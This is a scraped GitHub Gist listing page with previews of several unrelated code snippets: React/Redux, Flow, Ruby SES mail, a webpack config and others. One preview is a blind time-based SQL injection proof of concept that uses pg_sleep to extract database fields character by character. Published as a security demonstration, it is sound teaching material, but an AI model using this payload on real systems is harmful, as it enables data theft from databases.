Skip to content

Instantly share code, notes, and snippets.

@Icelandjack
Icelandjack / ExtensibleIsomorphisms.markdown
Last active January 8, 2018 16:56
Encoding Overlapping, Extensible Isomorphisms
@aurelkurtula
aurelkurtula / index.js
Last active November 17, 2017 03:37
This is to illustrate how react and readux work together, it's the full code explained in this tutorial: https://dev.to/aurelkurtula/a-beginners-introduction-to-working-with-redux-in-react-13k
import ReactDOM from 'react-dom';
import React, { Component } from 'react';
import { Provider, connect } from 'react-redux';
import { createStore, compose } from 'redux';
const todos = (state = [], action) => {
switch (action.type) {
case 'CREATE_TODO':
return state.concat([action.text])
default:
@busypeoples
busypeoples / Flow_Chapter_Two.md
Last active September 5, 2017 14:29
Chapter 2: Using Flow

Back To The Basics

Chapter 2: Using Flow

Introduction

Why does it make sense to use FlowType or TypeScript when working with JavaScript? To give an appropriate answer, the best idea would be to build a small game or application to make the benefits clear.

@albertico
albertico / send_smtp_ses.rb
Last active November 6, 2018 06:46
SMTP Examples for Amazon SES and WorkMail
#!/usr/bin/env ruby
require 'mail'
Mail.defaults do
delivery_method :smtp, { :address => "email-smtp.us-east-1.amazonaws.com",
:port => 587,
:user_name => "YOUR_IAM_SMTP_USER_FOR_SES",
:password => "YOUR_VERY_LONG_PASSWORD",
:authentication => 'plain',
@zhongfox
zhongfox / base.rb
Last active February 20, 2017 06:16
Data Service Ruby Core
module DataService
RELATION_ID = 'relation'
module DataApi
def self.included base
base.singleton_class.send :attr_accessor, # private method
:json_attributes, # 数据模型的json属性定义
:expire_time, # 数据模型的过期时间
:model_class, # 数据模型对应的Activerecord, 默认值是根据类名推断, 可以在这里覆盖
:cache_key # 缓存的key, 有默认值, 通常不需要设置
@benschwarz
benschwarz / pg.md
Last active December 15, 2020 04:20
Awesome postgres
require 'redis'
Chars=('A'..'Z').to_a
def g(prefix)
choice = rand(9)
if (choice == 0)
# Values around this size stress the cascading update.
len = [252,250].shuffle.first
prefix += rand(1000000).to_s
string = prefix + ("A"*(len-prefix.length))
@derwiki
derwiki / blind-sql-time-based-attack.rb
Last active April 23, 2019 12:30
Blind time-based SQL injection attack, proof of concept (with PgHero)
# More information available at https://www.owasp.org/index.php/Blind_SQL_Injection
POSITIVE_DELAY = 2
CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
def query(table, field, id, char, pos)
%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]
end
def timeit
@alexkrolick
alexkrolick / webpack.config.js
Last active July 13, 2017 04:11
Webpack Config for Webpack-Rails + CDN for production (Webpack 1.x - some minor differences may be encountered for Webpack 2+)
const CDN = process.env['CDN_HOST'] || '';
/**
* Webpack configuration for integrating Webpack with Rails via the webpack-rails gem
* (https://github.com/mipearson/webpack-rails)
*
* Cache-Busting Strategy:
* Development: Change query string of resource when content MD5 hash changes,
* rewriting the asset in place but triggering rewrite of the manifest.
* Production: Use MD5 hash of asset as filename, writing new assets and manifest